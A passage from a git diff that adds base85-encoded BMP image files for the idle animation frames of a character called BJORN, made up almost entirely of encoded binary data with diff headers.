z$sAu3X9!g!Pi8BaV3eGEr-zDWN|Qh?R3t|g%ex22VJuDd*Y*qzkF|H5Indg3;`Ft_ z$Kx-@B!iD6_xi{C?@tUokb-`gfQ;|#*&O#^?NE_I5NBo(cSbN@ zE;wu!xR^?_XhJ12N6rWZtEoNy^p)gR-)R5fJK%Wx?n`Y{mih<(BvSOM#|PXfM5t}?HfwkFe&rDlwS28$7aoPSY8Dxo6P0M>MW#{bYFRB0lW zAg&yRCr=Mo2w==YaA+d-mSt%MX7!e|y)SrVzT1gU8PyVRF<671soZmV*ZY>o<-(U&Six-{&u0Sh_hl zuuVAgHM7e38D(J@djo4{1)rc9o@6D0(;OI5-VCeg=A#_MR-y`&sKQwcA+X?Cp~6`J zg2MUPpZ+gm;19MQ(+G|~psi;T?9^?Yv~>+2mQHfsw13eA3Lyg3>}_n)a%yvX+kc7m zeYFvhQHH+rSPSN*lrY?Bc(k>Go1Y3NS~*mxgt3`z?>?I@RHTY#g@(zKSU&{|Rj6VZ zi9LhNo(}vMzzqpgpb8Xd5ejs%JWVW537ZijoNnc;ivS$jiaH(b7l%4;_;UxBtU?wOXnxtu#bff}_JBuos>FA^A?5)U%kPBo_ zUs&kJ-y#raCxMsyzY!F)`D1F)1a#3m-hdbXekom6=>F6XE$ekgB1_LuyBxmcU=zrEhEfm&P1Wv&>C2x3=OOmFAg4DXC83Y1(L86p+?CNpEeDnrHH*Q@_VACG=P%L< z5YHpB=NaKt@s4n7ik^uV3Vi|RA?2G zhjsAQqC{x26VyT@6~=VR=#f0tYufUa;CF zVI_vPz}&_Y!C8Q0Ezq>5n+1hyQh0KVI3#a@jvrkC<*4c)bPeAYow7SRt15DFrHG$q z78D2Z3fHr+QS+rLI50GLN#T8WzfZ9Lo>F%44XiTJc6A>oWqE`yvhqyvh~DTFzY^^q zZersFXD&3bBpcCVboq-6vMPm{+eK-mq2Vb;Hm=i+oiuF1TmsXBnJYMf*%VVhBTZ9H zABMdkiCtY+_x6o+!|uB{-tWiyzC{}coXD!3mA_s34ZP+lD+(+DNQbiTYNPK#!NoVTf-+=ZU%YYi*76NG#2|Z= zr-?Pi#D#6>8VqqH!H7%+uE4wR-u;tj&$J!sYV2q|boA)myZs-w0%+|2k}N;0<$JJ7 zasU0+CwTAb(BbygMa$!oh2b&Om_@XV-1zG^u6{=$psRzHOv;DZD_c`B*6_f{B g{g;;ofo_if@nV2f_R^34eaKYdeJlQNE~ZWUe`>N7LjV8( literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE23.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE23.bmp new file mode 100644 index 0000000000000000000000000000000000000000..426af0b83991a2606b794bd0dad803d65e556c06 GIT binary patch literal 18462 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 VO<45bjsfgM{Ba9E@#&#M{|${PmN5VT literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE24.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE24.bmp new file mode 100644 index 0000000000000000000000000000000000000000..243844cf8690b994be63af8860792bd400df3a56 GIT binary patch literal 18462 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 